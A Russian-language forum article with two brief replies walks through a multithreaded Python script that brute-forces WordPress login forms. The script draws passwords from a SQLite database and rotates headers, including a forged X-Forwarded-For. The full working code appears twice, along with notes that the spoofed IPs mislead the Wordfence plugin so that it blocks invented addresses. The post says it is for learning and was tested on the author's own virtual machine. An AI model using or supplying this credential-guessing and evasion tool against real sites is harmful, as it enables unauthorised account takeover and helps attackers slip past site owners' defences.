• Codeby web-security - Курс "Тестирование Веб-Приложений на проникновение с нуля" от команды codeby. Общая теория, подготовка рабочего окружения, пассивный фазинг и фингерпринт, Активный фаззинг, Уязвимости, Пост-эксплуатация, Инструментальные средства, Social Engeneering и многое другое. Подробнее ...

  • Мобильный клиент нашего форума для Android гаджетов доступен в Google Play Market по этой ссылке. Клиент можно скачать с нашего форума по этой ссылке. Последняя версия МК в нашем телеграм канале вот здесь

Статья Python+requests+threading. Перебор пароля в формах авторизации.

sm0ke

Member
30.11.2017
15
40
#1
Приветствую всех специалистов и заинтересованных Информационной Безопасностью на этом замечательном ресурсе. Продолжаю свой цикл статей по изучению языков программирования.

С публикации моей последней статьи прошло ~2 месяца и в обсуждении к ней я пообещал написать новый скрипт/программу, которая бы:
1. Использовала бы замечательный модуль requests;
2. Использовала бы многопоточность через модуль threading;
3. Забирала бы пароли из готовой базы данных;
4. При новом POST-запросе к форме авторизации меняла бы «случайно» заголовки.
Сразу прошу прощения за столь долгое отсутствие на форуме, но задачу я выполнил, а Вам ее оценивать. Ну что начнем?!

Подготовка

Поставим задачу следующим образом. У нас будет некий сайт, на котором будет открыта форма авторизации, CMS я выбрал Wordpress и что бы долго не морочится скачал готовый
Для просмотра контента необходимо: Войти или зарегистрироваться
из интернета, который поднял на VMware Workstation 14.
Из стороннего программного обеспечения нам потребуется Wireshark, что бы отлавливать правильность наших запросов,а для формирования БД потребуется
Для просмотра контента необходимо: Войти или зарегистрироваться
.
Также рекомендовано к прочтению, хотя бы по диагонали —
Для просмотра контента необходимо: Войти или зарегистрироваться
.

Формируем базу данных

С помощью SQLiteStudio сформируем базу данных с двумя таблицами.

Первая таблица будет содержать следующие заголовки:
User-agent – Заголовок программного обеспечения клиента;
Accept – Заголовок списка допустимых форматов ресурса;
Accept-Language – Заголовок списка допустимых языков;
Connection – Соединение;
Accept-Encoding – Поддерживаемые способы кодирования;
X-Forwarded-ForОпределение IP-адреса при подключении к серверу через прокси.
Первая таблица.png

Вторая же таблица будет содержать только пароли, логин мы будем задавать сами.
Вторая таблица.png

Программируем
Добавим в начало скрипта необходимые модули с которыми предстоит работать:
Python:
# -*- coding:utf-8 -*-
import requests
import argparse
import sqlite3
import threading
from queue import Queue
После этого напишем функцию, которая будет забирать аргументы из командной строки:
Python:
def createparser():
    parser = argparse.ArgumentParser(description='Для работы вводятся дополнительные параметры\'s')
    parser.add_argument('-url', '--u', help='Добавить URL формы авторизации', dest='url')
    parser.add_argument('-login', '--l', help='Имя пользователя', dest='login')
    parser.add_argument('-threads', '--t', help='Количество потоков', dest='thread')
    return parser
Для запуска напишем цикл, который будет собирать пароли из базы и запускать основные функции с передачей в них аргументов из CLI:
Python:
if __name__ == "__main__":

    try:
        parser = createparser()
        data = parser.parse_args()

        # Получаем пароли из базы пароли
        connector = sqlite3.connect('passBD.db')
        passwdbd = connector.cursor()
        passwdbd.execute('SELECT * FROM password')
        password = passwdbd.fetchall()

        main(password, data.login, data.url, int(data.thread))

    except TypeError:
        print("=" * 50)
        print(
            "| Скрипт не работает без дополнительных параметров | \n| \t Для начала попробуй > python main.py -h\t | ")
        print("=" * 50)
        print("email:sergmadox@yandex.com")
Функция main принимает список паролей, логин, ссылку и количество нужных нам потоков и запускает основной класс потоками, Queue же здесь используется для очередности, получил из списка пароль и при завершении одного потока запускается следующий:
Python:
def main(passwords, login, url, thread):
    queue = Queue()

    for i in range(thread):
        insts = WP(login, url, queue)
        insts.setDaemon(True)
        insts.start()

    for pwd in passwords:
        queue.put(pwd)

    queue.join()
Класс WP. Тут собственно и происходит вся «магия». Попробую описать, что тут происходит.
У класса несколько своих методов:
1. Метод headers, из первой таблицы нашей базы данных забирается случайно строка, которую мы раскладываем на словарь и этот результат возвращаем из функции, это и будут наши данные заголовков;
2. Метод run запускает поток, ждет когда прекратится поток и сообщает об этом;
3. Метод job собственно и организует отправку POST-запроса с нашими данными, после отправки данных мы инициируем запрос GETна админку CMS,в случае отрицательного результата нам не удастся получить куки, в случае положительного сервер их нам отправит, для того, что бы «запомнить» пользователя, по ним собственно и будем определять сработала наша пара логин-пароль или нет, все данные после успешной авторизации мы запишем в файл.
Python:
class WP(threading.Thread):
    def __init__(self, login, url, queue):
        threading.Thread.__init__(self)
        self.queue = queue
        self.login = login
        self.url = url

    def headers(self):
        connector_heads = sqlite3.connect('passBD.db')
        heads = connector_heads.cursor()
        heads.execute('SELECT * FROM headers ORDER BY random()')
        headers = heads.fetchone()
        result = {'user-agent': headers[0], 'Accept': headers[1], 'Accept-language': headers[2],
                  'Connection': headers[3], 'Accept-Encoding': headers[4], 'X-Forwarded-For': headers[5]}
        return result

    def run(self):
        while True:
            pwd = self.queue.get()

            self.job(pwd)

            self.queue.task_done()

    def job(self, pwd):
        head = WP.headers(self)
        print('Пробуем', self.login, pwd[0])
        s = requests.Session()
        data = {'log': self.login, 'pwd': pwd, 'wp-submit': 'Log In', 'redirect_to': self.url+'/wp-admin'}
        post_data = s.post(self.url+'/wp-login', data=data, headers=head)
        head.update({'Connection': 'close'})
        resp_data = s.get(self.url+'/wp-admin', headers=head)
        if len(s.cookies) > 2:
            print('Авторизация успешна c паролем:', pwd[0])
            with open('result.txt', "a") as file:
                file.write('Успешная авторизация с {} \n'.format(pwd[0]))
                for cookies in s.cookies:
                    file.write(str(cookies))
        else:
            print('Неудача')
Ну что, скрипт готов, пора его запустить и посмотреть, что происходит в Wireshark-e, а там у нас все вполне предсказуемо, отправляются POST, после него происходит GET.
Запускаем 6 потоков для пользователя user командой main.py -url
Для просмотра контента необходимо: Войти или зарегистрироваться
--l user --t 6:
Вывод консоли.png

Смотрим в Wireshark:
Whireshark-post.png

Whireshark-bad-get.png

Обратите внимание какой GET приходит при подборе пароля:
Whireshark-nice-get.png

Любопытный читатель конечно же спросит, а что со стороны сервера, а я отвечу на это вопрос. Пришлось немного подредактировать сбор логов на виртуальной машине и мы получаем вот такую картину:
Логи apache.png

Но что самое интересное, в основном основная уязвимость — это обыкновенная невнимательность или надежда на ПО, которое не пойми как работает, к чему я веду, поясню.
В админке CMS я установил модуль Wordfence(он имел 5 звезд), он вроде как и Firewall,который умеет отражать атаки и показывает много разных графиков, и т.д., но вот загвоздка, запустив с ним пару раз свой скрипт, в Wireshark в GET запросах я действительно увидел hacking-attempt, но в админке я увидел вот такую картину:
Wordfence.png

Что говорит, нам о том, что модуль как раз таки картину по IP-адресам сформировал из заголовков X-Forwarded-For нашей таблицы заголовков в БД, Вы можете сказать, что логи самого Apache скажут тебе, что запросы-то идут с одного IP-адреса, да, конечно, но вот будет ли владелец сайта читать и анализировать скучные логи ОС, что-то мне думается, что как раз поверят, вот такому ПО в процентах 50-60%, что нас с вами устраивает, пусть блокируют выдуманные IP-адреса.

Заключение
Данный скрипт не призыв к действию, а только возможность научится писать и использовать код в рабочих целях.

Спасибо что прочитали и всем удачи!

Python:
# -*- coding:utf-8 -*-
import requests
import argparse
import sqlite3
import threading
from queue import Queue


def createparser():
    parser = argparse.ArgumentParser(description='Для работы вводятся дополнительные параметры\'s')
    parser.add_argument('-url', '--u', help='Добавить URL формы авторизации', dest='url')
    parser.add_argument('-login', '--l', help='Имя пользователя', dest='login')
    parser.add_argument('-threads', '--t', help='Количество потоков', dest='thread')
    return parser


class WP(threading.Thread):
    def __init__(self, login, url, queue):
        threading.Thread.__init__(self)
        self.queue = queue
        self.login = login
        self.url = url

    def headers(self):
        connector_heads = sqlite3.connect('passBD.db')
        heads = connector_heads.cursor()
        heads.execute('SELECT * FROM headers ORDER BY random()')
        headers = heads.fetchone()
        result = {'user-agent': headers[0], 'Accept': headers[1], 'Accept-language': headers[2],
                  'Connection': headers[3], 'Accept-Encoding': headers[4], 'X-Forwarded-For': headers[5]}
        return result

    def run(self):
        while True:
            pwd = self.queue.get()

            self.job(pwd)

            self.queue.task_done()

    def job(self, pwd):
        head = WP.headers(self)
        print('Пробуем', self.login, pwd[0])
        s = requests.Session()
        data = {'log': self.login, 'pwd': pwd, 'wp-submit': 'Log In', 'redirect_to': self.url+'/wp-admin'}
        post_data = s.post(self.url+'/wp-login', data=data, headers=head)
        head.update({'Connection': 'close'})
        resp_data = s.get(self.url+'/wp-admin', headers=head)
        if len(s.cookies) > 2:
            print('Авторизация успешна c паролем:', pwd[0])
            with open('result.txt', "a") as file:
                file.write('Успешная авторизация с {} \n'.format(pwd[0]))
                for cookies in s.cookies:
                    file.write(str(cookies))
        else:
            print('Неудача')


def main(passwords, login, url, thread):
    queue = Queue()

    for i in range(thread):
        insts = WP(login, url, queue)
        insts.setDaemon(True)
        insts.start()

    for pwd in passwords:
        queue.put(pwd)

    queue.join()


if __name__ == "__main__":

    try:
        parser = createparser()
        data = parser.parse_args()

        # Получаем пароли из базы пароли
        connector = sqlite3.connect('passBD.db')
        passwdbd = connector.cursor()
        passwdbd.execute('SELECT * FROM password')
        password = passwdbd.fetchall()

        main(password, data.login, data.url, int(data.thread))

    except TypeError:
        print("=" * 50)
        print(
            "| Скрипт не работает без дополнительных параметров | \n| \t Для начала попробуй > python main.py -h\t | ")
        print("=" * 50)
        print("email:sergmadox@yandex.com")
 

gnomex

New member
22.03.2018
3
1
#3
Все отлично. Но только одно странно - зачем делать так:
Python:
WP.headers(self)
Когда в питоне принято делать так:
Python:
self.headers()
В принципе и так и так можно, но просто для всех привычнее вторым способом.
 
Симпатии: Понравилось sm0ke

sm0ke

Member
30.11.2017
15
40
#4
Все отлично. Но только одно странно - зачем делать так:
Python:
WP.headers(self)
Когда в питоне принято делать так:
Python:
self.headers()
В принципе и так и так можно, но просто для всех привычнее вторым способом.
Ага, точно подмечено, без вас бы не увидел сам. Бывает)
 
Вверх Снизу